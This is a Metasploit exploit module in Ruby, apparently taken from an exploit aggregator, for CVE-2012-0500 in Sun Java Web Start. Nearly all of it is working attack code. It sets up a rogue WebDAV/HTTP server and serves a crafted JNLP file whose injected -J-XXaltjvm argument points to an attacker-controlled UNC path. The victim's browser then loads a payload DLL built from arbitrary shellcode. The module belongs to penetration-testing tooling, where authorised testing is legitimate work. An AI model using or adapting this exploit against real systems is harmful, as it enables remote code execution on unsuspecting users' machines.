## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-BROWSER-JAVA_WS_VMARGS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection',
'Description' => %q{
This module exploits a flaw in the Web Start component of the Sun Java
Runtime Environment. The arguments passed to Java Web Start are not properly
validated, allowing injection of arbitrary arguments to the JVM.
By utilizing the lesser known -J option, an attacker can take advantage of
the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method
allows an attacker to execute arbitrary code in the context of an unsuspecting
browser user.
In order for this module to work, it must be run as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled.
},
'License' => MSF_LICENSE,
'Author' => 'jduck', # Bug reported to Oracle by TELUS
'References' => [
[ 'CVE', '2012-0500' ],
[ 'OSVDB', '79227' ],
[ 'BID', '52015' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2012/Feb/251' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html' ]
],
'Platform' => 'win',
'Payload' => {
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets' => [
[ 'Automatic', {} ],
[
'Java Runtime on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-02-14',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ])
]
)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
# print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent}")
end
ret
end
def on_request_uri(cli, request)
# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end
# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end
# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget, share_name)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
#
# GET requests
#
def process_get(cli, request, target, share_name)
print_status("Responding to \"GET #{request.uri}\" request")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending DLL")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /\.jnlp$/i)
#
# Send the jnlp document
#
# Prepare the UNC path...
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
unc = "\\\\" + srvhost_addr + "\\" + share_name
end
# NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0, 2] == "\\\\"
unc.slice!(0, 1)
end
http_agent = Rex::Text.rand_text_alpha(8 + rand(8))
jnlp_data = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
<title>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</description>
</information>
<resources>
<java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=#{unc} "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=#{http_agent}"' /></resources>
</jnlp>
EOS
print_status("Sending JNLP")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
else
print_status("Sending redirect to the JNLP file")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
jnlp_path = get_resource()
if jnlp_path[-1, 1] != '/'
jnlp_path << '/'
end
jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp"
send_redirect(cli, jnlp_path, '')
end
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
headers = {
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
# <lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
super
end
end